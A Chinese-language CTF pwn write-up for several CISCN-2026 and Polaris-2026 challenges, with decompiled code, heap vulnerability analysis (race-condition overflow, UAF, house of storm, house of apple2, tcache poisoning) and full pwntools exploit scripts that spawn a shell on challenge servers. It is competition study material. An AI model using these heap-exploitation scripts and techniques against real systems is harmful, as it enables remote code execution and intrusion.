 time_t timer; // [rsp+20h] [rbp-2B0h] BYREF
 struct tm *tp; // [rsp+28h] [rbp-2A8h]
 FILE *stream; // [rsp+30h] [rbp-2A0h]
 size_t v8; // [rsp+38h] [rbp-298h]
 char filename[64]; // [rsp+40h] [rbp-290h] BYREF
 char s[64]; // [rsp+80h] [rbp-250h] BYREF
 char ptr[520]; // [rsp+C0h] [rbp-210h] BYREF
 unsigned __int64 v12; // [rsp+2C8h] [rbp-8h]

 v12 = __readfsqword(0x28u);
 time(&timer);
 tp = localtime(&timer);
 strftime(s, 0x40u, "%Y-%m-%d %H:%M:%S", tp);
 v3 = strlen(s);
 v4 = v3 + strlen(a2) + 3;
 memset(ptr, 0, 0x200u);
 snprintf(filename, 0x40u, "/tmp/task_%d_log", a1);
 stream = fopen(filename, "a");
 if ( stream )
 {
 snprintf(ptr, v4 + 1, "%s: %s\n", s, a2);
 v8 = fwrite(ptr, 1u, v4, stream);
 fclose(stream);
 }
 sleep(4u);
 return v12 - __readfsqword(0x28u);
}

阻塞 4 秒，为上面的条件竞争创造了有利的条件

结构体分析

strdup 的存在大大增加了堆环境的复杂性

packet 有关的所有堆内存都会在数据处理完成后释放，每一轮循环开始时申请，结束时释放

其余的堆内存只有 user-info 会在 deregister 时被释放

漏洞分析

最重要的漏洞便是上面提到的条件竞争产生的堆溢出，利用过程为：

首先 register 15 个用户，让 allocated_task 达到上限
对用户 A 进行 submit_task
在 do_task 处于 memcpy 的阻塞状态时，把 A deregister 掉，然后再 register 用户 B ，使用户 B 的 user-info chunk 刚好是被 free 掉的用户 A 的 user-info chunk ，此时由于 allocated_task 已经达到上限且不会回退，B 的 task 还是原来 A 的 task ，同时 B 的 running-tag 被重置为 0 ，所以允许 B 再次 submit_task 去提交更大的 content
让 B 提交更大的 content 等 A 的 task 阻塞结束后，触发 memcpy ，使得旧的 content(strdup) 的内容被新的 content(strdup) 覆写，并产生溢出，溢出位置在旧的 content(strdup) 上，并且有充足的溢出长度

在溢出过程中，我们需要去伪造一些指针，这就需要泄露堆地址，这一点是比较容易的：注意到 token 的 chunk 大小和 user-info 一致，我们只要在一轮注册中安排 token 被分配到被释放的 user-info chunk 上，就可以通过 task 泄露堆地址

密切关注可能的 0x30 大小的 chunk ，我们发现在一次 register->login->deregister->register->login 路径中，由于提交的数据包包含 token ，一共会申请两个大小为 0x30 的 chunk 并释放， user-info 先释放， packet 中的 token 的 value 后释放，那么在第二个 register 中，由于 user-info 先申请， token 后申请，根据 tcache 的 LIFO 特性，旧的 user-info 会被分配给 token ，最后的 login 的 printf 就会把堆地址泄露出来

然后是 libc 的泄露，需要用到上面的堆溢出

经过精心（xia meng）布局堆的结构，我们使得溢出的时候能够轻易够到某个 user-info chunk 然后劫持它的 token 指针，指向一个写了 libc 相关地址的位置，然后用 login 读出即可

最后我们还可以注意到在 submit_task 时会往 task + 0x20 上写一个可控的堆地址 (content) ，这意味着我们可以劫持 task 去实现任意地址写可控堆地址，然后就有机会打 house of apple2 啦

总结一下路径

1

leak heap -> overflow to leak libc -> hijack task ptr to write house of apple2

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './main_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = '60.205.163.215'
port = 13774

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru('\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def safe_linking(pos, ptr):
 return (pos >> 12) ^ ptr

def transpld(payload):
 return bytes([b ^ 0x3f for b in payload])

def sendpacket(packet):
 data = b''
 for key, val in packet.items():
 data += key + b':' + val + b'\n'
 s(data)
 
def register(name, pwd):
 sendpacket({
 b'command': b'register',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def login(name, pwd):
 sendpacket({
 b'command': b'login',
 b'username': name.encode(),
 b'password': pwd.encode()
 })

def submit_task(token, content):
 sendpacket({
 b'command': b'submit_task',
 b'user_token': token,
 b'task_content': transpld(content)
 })

def deregister(token):
 sendpacket({
 b'command': b'deregister',
 b'user_token': token
 })

register('QwQ', 'QwQ') # leak heap
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
deregister(qwqtoken)
register('QwQ', 'QwQ')
login('QwQ', 'QwQ')
ru(b'token:')
qwqtoken = r(32)
heap = uu64(r(6)) - 0x4b0
leak('heap')

for i in range(13): # heap feng shui
 register(str(i), str(i))
sendpacket({
 b'command': b'login',
 b'a': b'a' * 0x30,
 b'b': b'a' * 0x30,
 b'c': b'a' * 0x30,
 b'd': b'a' * 0x30
})
register('OwO', 'OwO')
login('OwO', 'OwO')
ru(b'token:')
owotoken = r(32)

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x10: safe_linking(heap + 0x1000, heap + 0x1460),
 0x48: 0x31,
 0x50: heap + 0x1640,
 0x58: heap + 0x3f0,
 0x60: heap + 0x1770,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x00'
submit_task(owotoken, b'A' * 0x30)
deregister(owotoken)
register('www', 'w' * 0x20)
login('www', 'w' * 0x20)
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

login('www', 'w' * 0x20) # leak libc
ru(b'token:')
token = r(6)
libc.address = uu64(token) + 0x9c8
leak('libc.address')
target = libc.sym['stdout'] - 0x20

fake_heap = flat({ # race condition and heap overflow
 0x8: 0x41,
 0x48: 0x41,
 0x50: safe_linking(heap + 0x1000, heap + 0x1420),
 0x88: 0x31,
 0x90: heap + 0x15f0,
 0x98: heap + 0x1b60,
 0xa0: heap + 0x1b80,
 0xb0: target,
}, filler = b'\x00')
payload = b'B' * 0x30 + fake_heap + b'\x31'
submit_task(token, b'A' * 0x30)
deregister(token)
register('mmm', 'mmm')
login('mmm', 'mmm')
ru(b'token:')
token = r(32)
submit_task(token, payload)
sleep(4)

fake_io_base = heap + 0x1fe0 # house of apple2
fake_io = flat({
 0x0: b' sh;',
 0x8: 0,
 0x20: 0,
 0x68: libc.sym['system'],
 0x88: fake_io_base,
 0xA0: fake_io_base - 0x10, # __rdx__
 0xD0: fake_io_base,
 0xD8: libc.sym['_IO_wfile_jumps'] - 0x20,
}, filler=b"\x00")
submit_task(token, fake_io)
sleep(5)

sendpacket({ # tricker
 b'a': b'a',
})

itr()

CISCN-2026-pwn 题解

Thu, 23 Apr 2026 12:37:00 +0000

半决赛

catchme

checksec

1
2
3
4
5
6


[*] '/home/RatherHard/CTF-pwn/ciscn/catchme/catchme'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled

IDA

main

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30


void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
 initbuf(a1, a2, a3);
 while ( 1 )
 {
 switch ( (unsigned __int8)menu() )
 {
 case '1':
 allocate();
 break;
 case '2':
 delete();
 break;
 case '3':
 leak();
 break;
 case '4':
 edit();
 break;
 case '5':
 exit(-1);
 case '6':
 clear();
 break;
 default:
 puts("invalid operation");
 break;
 }
 }
}

allocate

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45


__int64 allocate()
{
 int i; // [rsp+8h] [rbp-18h]
 int v2; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 for ( i = 0; i <= 4 && shelter[i]; ++i )
 ;
 if ( i > 4 )
 {
 puts("shelter is full");
 return 0xFFFFFFFFLL;
 }
 puts("choose your creature type");
 puts("(1)fox");
 puts("(2)hawk");
 puts("(3)otter");
 myread(nptr);
 v2 = atoi(nptr);
 switch ( v2 )
 {
 case 1:
 shelter[i] = malloc(0x430u);
 puts("a fox joins your shelter");
 break;
 case 2:
 shelter[i] = malloc(0x440u);
 puts("a hawk joins your shelter");
 break;
 case 3:
 shelter[i] = calloc(1u, 0x48u);
 puts("an otter joins your shelter");
 break;
 default:
 puts("invalid operation");
 return 0xFFFFFFFFLL;
 }
 printf(
 "token(1):%lx\ttoken(2):%lx\n",
 shelter[i] & 0xFFFLL,
 (unsigned __int8)((unsigned __int16)WORD2(shelter[i]) >> 8));
 return 0;
}

delete

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21


__int64 delete()
{
 unsigned int v1; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 puts("index:");
 myread(nptr);
 v1 = atoi(nptr);
 if ( v1 <= 4 && shelter[v1] )
 {
 free((void *)shelter[v1]);
 return 0;
 }
 else
 {
 puts("invalid operation");
 return 0xFFFFFFFFLL;
 }
}

leak

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


__int64 leak()
{
 unsigned int v1; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 puts("inspection pass: one time only");
 if ( leak_counts )
 {
 leak_counts = 0;
 puts("index:");
 myread(nptr);
 v1 = atoi(nptr);
 if ( v1 <= 4 && shelter[v1] )
 {
 printf("tag:%s\n", (const char *)(shelter[v1] + 8LL));
 return 0;
 }
 else
 {
 puts("invalid operation");
 return 0xFFFFFFFFLL;
 }
 }
 else
 {
 puts("no more permissions");
 return 0xFFFFFFFFLL;
 }
}

edit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34


__int64 edit()
{
 unsigned int v1; // [rsp+4h] [rbp-1Ch]
 __int64 v2; // [rsp+8h] [rbp-18h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v4; // [rsp+18h] [rbp-8h]

 v4 = __readfsqword(0x28u);
 if ( edit_counts <= 0 )
 {
 puts("no more permissions");
 return 0xFFFFFFFFLL;
 }
 else
 {
 puts("you can retag at most three times");
 --edit_counts;
 puts("index:");
 myread(nptr);
 v1 = atoi(nptr);
 if ( v1 <= 4 && shelter[v1] )
 {
 v2 = shelter[v1];
 puts("set tag:");
 read(0, (void *)(v2 + 8), 0x18u);
 return 0;
 }
 else
 {
 puts("invalid operation");
 return 0xFFFFFFFFLL;
 }
 }
}

clear

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22


__int64 clear()
{
 unsigned int v1; // [rsp+Ch] [rbp-14h]
 char nptr[8]; // [rsp+10h] [rbp-10h] BYREF
 unsigned __int64 v3; // [rsp+18h] [rbp-8h]

 v3 = __readfsqword(0x28u);
 puts("index:");
 myread(nptr);
 v1 = atoi(nptr);
 if ( v1 <= 4 )
 {
 shelter[v1] = 0;
 puts("record cleared");
 return 0;
 }
 else
 {
 puts("invalid operation");
 return 0xFFFFFFFFLL;
 }
}

攻击思路

有明显的 UAF 漏洞

拥有 0x440 / 0x450 / 0x50 大小的 chunk

0x50 大小的走 calloc ，不使用 tcache

glibc 版本为 2.27

所以这题目打的是 house of storm

但是有点小坑，如果最后回弹 fake chunk 时未填满 0x50 的 tcache 会导致 tcache stashing unlink 触发导致回弹失败，并在又一次的 bins 的处理循环中崩溃，，，

打完 house of storm 后劫持 __free_hook 打 onegadget 即可

刚好这道题可以直接打 onegadget ，如果上下文环境不满足的话，得劫持 __malloc_hook 和 __realloc_hook （两个连着的）去微调栈帧了

house of storm

在一次 malloc 中同时执行一次 unsortedbin attack 和两次 largebin attack 伪造出一个 0x50 大小的 fake chunk （size 为 0x55）

利用条件：

glibc 版本小于等于 2.28
布局两个属于 largesize 的 chunk ，分别放在 unsortedbin 和 largebin 中，前者的 size 要比后者的大，且两个 chunk 要属于同一个 index

具体操作：

unsortedchunk->bk = target1
largechunk->bk = target2
largechunk->bk_nextsize = target3

产生效果：

unsorted_chunks(av) = target1
target1->fd = unsorted_chunks(av)
target2->fd = unsortedchunk
target3->fd_nextsize = unsortedchunk

由于不进行链表完整性检查，直接伪造：

unsortedchunk->bk = target
largechunk->bk = target + 0x8
largechunk->bk_nextsize = target - 0x18 - 5

产生效果：

unsorted_chunks(av) = target
target->fd = unsorted_chunks(av)
target->bk = unsortedchunk
target->size = 0x55 / 0x56

target 就是伪造的 chunk ，接下来只要申请一个 0x50 大小的 chunk 就能拿到 target 的写入权限

但是需要多试几次，如果 size 为 0x56 的话会崩掉，必须是 0x55 ，要求 NON_MAIN_ARENA 位为 0

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 0

file = './catchme_patched'
elf = ELF(file)
libc = ELF('./libc.so.6')

target = 'challenge.imxbt.cn'
port = 32219

if debug:
 p = process(file)
else:
 p = remote(target, port)

io = p

def dbg(cmd = ''):
 if debug:
 gdb.attach(p, gdbscript = cmd)

s = lambda data :p.send(data)
sl = lambda data :p.sendline(data)
sa = lambda x, data :p.sendafter(x, data)
sla = lambda x, data :p.sendlineafter(x, data)
r = lambda num=4096 :p.recv(num)
rl = lambda num=4096 :p.recvline(num)
ru = lambda x :p.recvuntil(x)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4, b'\x00'))
uu64 = lambda data :u64(data.ljust(8, b'\x00'))
uru64 = lambda :uu64(ru(b'\x7f')[-6:])
leak = lambda name :log.success(name + ' = ' + hex(eval(name)))

def allocate(idx):
 sla(b'>>\n', b'1')
 sla(b'(3)otter\n', str(idx).encode())

def delete(idx):
 sla(b'>>\n', b'2')
 sla(b'index:\n', str(idx).encode())

def leak_once(idx):
 sla(b'>>\n', b'3')
 sla(b'index:\n', str(idx).encode())

def edit(idx, content):
 sla(b'>>\n', b'4')
 sla(b'index:\n', str(idx).encode())
 sa(b'tag:\n', content)

def exit():
 sla(b'>>\n', b'5')

def clear(idx):
 sla(b'>>\n', b'6')
 sla(b'index:\n', str(idx).encode())

allocate(1) # build bin
for _ in range(7):
 allocate(3)
 delete(1)
 clear(1)
allocate(3)
delete(0)
allocate(2)
allocate(2)
delete(2)

leak_once(0) # leak libc
ru(b'tag:')
bk_leak = uu64(r(6))
libc.address = bk_leak - 0x3ec0a0
leak('libc.address')

fake_chunk_base = libc.symbols['__free_hook'] - 0x18 # house of storm
edit(2, p64(fake_chunk_base) + p64(0) + p64(0))
edit(0, p64(fake_chunk_base + 0x8) + p64(0) + p64(fake_chunk_base - 0x20 + 0x3))
allocate(3)

edit(4, p64(libc.address + 0x4f302) + p64(0) + p64(0)) # get shell
delete(1)

itr()

Polaris-2026-pwn 题解

Wed, 22 Apr 2026 18:04:00 +0000

ez-nc

攻击思路

盲打，发现有格式化字符串漏洞，提示下载 ez-nc ，但是单文件名上限为 7 ，且禁止明文出现 “ez-nc”。因此考虑利用栈上的环境变量来下载 ez-nc 。

exp

输入 %99$s 后把文件 dump 下来反编译即可发现明文 flag

ezheap

ez 在哪了，，，

checksec

1
2
3
4
5
6
7
8
9


[*] '/home/RatherHard/CTF-pwn/PolarisCTF/ezheap/inference_forge'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: PIE enabled
 FORTIFY: Enabled
 SHSTK: Enabled
 IBT: Enabled

IDA

去符号化，还是 C++ 逆向，，，还要还原结构体，，，

难点全在逆向上了

逆向结果：

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353


#include <iostream>
#include <cstring>

#define __int64 long long
#define uint32_t unsigned int
#define uint64_t unsigned long long
#define uint8_t unsigned char

struct session_handle // sizeof=0x50
{
 uint32_t slot_id;
 uint32_t payload_size;
 char *payload;
 char alias[32];
 uint64_t generation;
 void (*postproc)(session_handle *);
 uint64_t pad[2];
};

struct scheduler_ctrl // sizeof=0x48
{
 uint64_t magic_iforge;
 union {
 struct {
 uint8_t strict_policy;
 uint8_t healthy;
 };
 uint64_t task_list[8];
 };
};

struct task_descriptor // sizeof=0x50
{
 uint64_t task_id;
 uint64_t arg0;
 uint64_t pad10;
 void *handler; // alias[8:16]
 void *ctx;
 char tag[0x28];
};

struct worker_profile // sizeof=0x50
{
 uint64_t cpu_quota;
 uint64_t mem_quota;
 uint64_t io_weight;
 uint64_t latency_slo;
 uint64_t replicas;
 char memo[32];
 uint64_t region_code;
};

struct runtime_state // sizeof=0x190
{
 uint32_t artifact_items;
 uint32_t artifact_stride;
 uint32_t artifact_alloc_bytes;
 uint32_t pad;
 uint64_t artifact_declared_bytes;
 void *artifact_arena;
 scheduler_ctrl *scheduler;
 task_descriptor *task_desc[8];
 session_handle *sessions[16];
 uint64_t session_generation[16];
 uint8_t session_active[16];
 worker_profile **worker_profiles_begin;
 worker_profile **worker_profiles_end;
 worker_profile **worker_profiles_cap;
 worker_profile **worker_profiles_cap;
};

void session_postproc_xor_stride();
void audit_flag_snapshot();
void session_postproc_clamp_negative_bytes();
void session_postproc_shift_right();
void task_handler_echo_descriptor();
void task_handler_mul3();
void task_handler_xor_cookie();
void worker_vector_realloc_insert(worker_profile **begin, worker_profile **end, worker_profile *new_element);


// 3
__int64 bootstrap_scheduler(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "scheduler already bootstrapped" << std::endl;
 return 0;
 }
 state->scheduler = (scheduler_ctrl *)malloc(0x38u);
 if ( state->scheduler )
 {
 state->scheduler->magic_iforge = 'IFORGE';
 *(_OWORD *)(v10 + 26) = 0;
 *((_WORD *)v10 + 4) = 257;
 *(_OWORD *)(v10 + 10) = 0;
 *(_OWORD *)(v10 + 40) = 0;
 int i = 0;
 while ( 1 )
 {
 task_descriptor *task_desc = (task_descriptor *)malloc(0x50u);
 if ( !task_desc )
 break;
 void *func;
 if ( i % 3 == 0 )
 func = task_handler_echo_descriptor;
 if ( i % 3 == 1 )
 func = task_handler_xor_cookie;
 if ( i % 3 == 2 )
 func = task_handler_mul3;
 task_desc->handler = func;
 task_desc->task_id = i;
 task_desc->arg0 = i + 1;
 task_desc->ctx = task_desc;
 snprintf(task_desc->tag, 32, "sqe-%zu", i);
 state->task_desc[i] = task_desc;
 *((_QWORD *)&state->scheduler + v17) = v16;
 if ( i == 7 )
 {
 std::cout << "scheduler bootstrap complete, strict_policy=on" << std::endl;
 return 0;
 }
 ++i;
 }
 std::cout << "task descriptor allocation failed" << std::endl;
 }
}

// 4
unsigned __int64 inspect_scheduler_queue(runtime_state *state)
{
 if ( state->scheduler )
 {
 std::cout << "queue_ctrl=" << &state->scheduler 
 << " strict_policy=" << state->scheduler->strict_policy 
 << " healthy=" << state->scheduler->healthy << std::endl;
 for ( int i = 0; i != 8; ++i )
 {
 std::cout << "[task " << i << "] desc=" << &state->task_desc[i] 
 << " handler=" << &state->task_desc[i]->handler 
 << " ctx=" << &state->task_desc[i]->ctx 
 << " tag='" << state->task_desc[i]->tag << "'" << std::endl;
 }
 }
 else
 {
 std::cout << "scheduler offline" << std::endl;
 }
 return 0;
}

// 5
unsigned __int64 allocate_session_tensor(runtime_state *state)
{
 int slot, tensor_bytes, alias;
 std::cout << "session.slot(0-15)> ";
 std::cin >> slot;
 std::cout << "session.tensor_bytes> ";
 std::cin >> tensor_bytes;
 std::cout << "session.alias> ";
 std::cin >> alias;
 if ( (unsigned int)slot <= 0xF )
 {
 session_handle *session = (session_handle *)malloc(0x50u);
 session->slot_id = slot;
 session->payload_size = tensor_bytes;
 session->payload = (char *)malloc(tensor_bytes);
 if ( session->payload )
 {
 memset((void *)session->payload, 65, tensor_bytes);
 snprintf(session->alias, 32, "%s", (const char *)alias);
 v16 = (char *)state + 8 * slot;
 v17 = *((_QWORD *)v16 + 29);
 *((_QWORD *)v16 + 13) = session;
 *((_QWORD *)v16 + 29) = ++v17;
 session->generation = v17;
 session->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 state->session_active[slot] = 1;
 std::cout << "session tensor ready slot=" << slot
 << " handle=" << &session 
 << " payload=" << &session->payload 
 << " postproc=" << &session->postproc << std::endl;
 }
 else
 {
 std::cout << "session tensor allocation failed" << std::endl;
 }
 }
 else
 std::cout << "session tensor request invalid" << std::endl;
 return 0;
}

// 6
unsigned __int64 complete_batch_inference(runtime_state *state)
{
 __int64 slot;

 std::cout << "ssession.slot> ";
 std::cin >> slot;

 if ( (unsigned int)slot > 0xF )
 {
 std::cout << "session slot invalid" << std::endl;
 return 0;
 }
 if ( !state->session_active[slot] )
 {
 std::cout << "session slot not active" << std::endl;
 return 0;
 }
 if ( !state->sessions[slot] )
 {
 std::cout << "session slot empty" << std::endl;
 return 0;
 }

 if ( state->sessions[slot]->payload )
 {
 if ( state->sessions[slot]->payload_size >= 2 )
 for ( int i = 1; i <= state->sessions[slot]->payload_size; i++)
 state->sessions[slot]->payload[i] ^= (13 * i);
 free(state->sessions[slot]->payload);
 }

 if ( (void (*)())state->sessions[slot]->postproc != session_postproc_clamp_negative_bytes
 && (void (*)())state->sessions[slot]->postproc != session_postproc_xor_stride
 && (void (*)())state->sessions[slot]->postproc != session_postproc_shift_right
 && state->sessions[slot]->postproc )
 {
 std::cout << "postproc profile invalid, fallback to default pipeline" << std::endl;
 state->sessions[slot]->postproc = (void (*)(session_handle *))session_postproc_xor_stride;
 }
 if ( state->sessions[slot]->postproc )
 state->sessions[slot]->postproc(state->sessions[slot]);

 operator delete(state->sessions[slot], 0x50u);
 state->session_active[slot] = 0;
 std::cout << "batch inference finalized, session recycled" << std::endl;
 return 0;
}

// 7
unsigned __int64 patch_session_metadata(runtime_state *state)
{
 int slot, qword_index, qword_value;
 std::cout << "diag.session.slot> ";
 std::cin >> slot;
 std::cout << "diag.qword_index> ";
 std::cin >> qword_index;
 std::cout << "diag.qword_value(u64)> ";
 std::cin >> qword_value;
 
 if ( slot <= 0xFu )
 {
 if ( !state->sessions[slot] )
 {
 std::cout << "session handle missing" << std::endl;
 return 0;
 }
 if ( state->session_active[slot] )
 std::cout << "diagnostic patch requires recycled session context" << std::endl;
 else
 {
 if ( !qword_index )
 {
 state->sessions[slot]->slot_id = qword_value; // tcache poisoning
 std::cout << "diagnostic patch applied at " << &state->sessions[slot] << std::endl;
 return 0;
 }
 std::cout << "diagnostic offset policy allows qword_index=0 only" << std::endl;
 }
 }
 else
 std::cout << "diagnostic patch args invalid" << std::endl;
 return 0;
}

// 8
unsigned __int64 provision_worker_profile(runtime_state *state)
{
 if ( (char *)state->worker_profiles_end - (char *)state->worker_profiles_begin <= 0x1f8 )
 {
 worker_profile *worker = (worker_profile *)malloc(0x50u);
 std::cout << "worker.cpu_quota> ";
 std::cin >> worker->cpu_quota;
 std::cout << "worker.mem_quota> ";
 std::cin >> worker->mem_quota;
 std::cout << "worker.io_weight> ";
 std::cin >> worker->io_weight;
 std::cout << "worker.latency_slo> ";
 std::cin >> worker->latency_slo;
 std::cout << "worker.replicas> ";
 std::cin >> worker->replicas;
 std::cout << "worker.region_code> ";
 std::cin >> worker->region_code;
 std::cout << "worker.memo> ";
 std::cin >> worker->memo;
 snprintf(worker->memo, 0x20u, "%s", worker->memo);
 if ( state->worker_profiles_end == state->worker_profiles_cap )
 {
 worker_vector_realloc_insert(state->worker_profiles_begin, state->worker_profiles_end, worker);
 }
 else
 {
 *state->worker_profiles_end = (worker_profile *)worker;
 state->worker_profiles_end = state->worker_profiles_end + 1;
 }
 std::cout << "worker profile provisioned handle=" << &worker 
 << " index=" << state->worker_profiles_end - state->worker_profiles_begin - 1 << std::endl;
 return 0;
 }
 std::cout << "autoscaler capacity reached" << std::endl;
 return 0;
}

// 9
unsigned __int64 dispatch_async_task(runtime_state *state)
{
 int task_id;
 
 if ( state->scheduler )
 {
 std::cout << "queue.task_id> ";
 std::cin >> task_id;
 if ( (unsigned int)task_id <= 7 )
 {
 if ( state->task_desc[task_id] && state->task_desc[task_id]->handler)
 {
 if ( state->task_desc[task_id]->handler == task_handler_xor_cookie
 || state->task_desc[task_id]->handler == task_handler_echo_descriptor
 || state->scheduler->strict_policy == 0
 || state->task_desc[task_id]->handler == task_handler_mul3 )
 {
 ((void (*)(void *))state->task_desc[task_id]->handler)(state->task_desc[task_id]->ctx);
 return 0;
 }
 std::cout << "policy engine blocked non-whitelisted handler" << std::endl;
 }
 else
 {
 std::cout << "task descriptor unavailable" << std::endl;
 }
 }
 else
 {
 std::cout << "task id invalid" << std::endl;
 }
 return 0;
 }
 std::cout << "scheduler offline" << std::endl;
 return 0;
}

好复杂的菜单题，，，

攻击思路

bootstrap_scheduler 用于初始化堆结构

inspect_scheduler_queue 把需要 leak 的数据送到嘴边

complete_batch_inference 函数有明显的 UAF 漏洞，对象为 state->sessions[slot]

patch_session_metadata 为 UAF 和 tcache poisoning 创造了极为有利的条件，可以说是刻意设计的

provision_worker_profile 允许通过结构体重叠写入较多的数据

dispatch_async_task 有函数指针的执行，注意到程序中已经有针对 flag 的读取行为，所以可以利用 provision_worker_profile 劫持该函数指针去跳转

劫持函数指针之前需要将 strict_policy 设置为 0 ，而 provision_worker_profile 也可以做到这一点

综上分析，直接打 tcache poisoning 即可

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146


from pwn import *

context.log_level = 'debug'
context.arch = 'amd64'
context.os = 'linux'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

file = './pwn_patched'
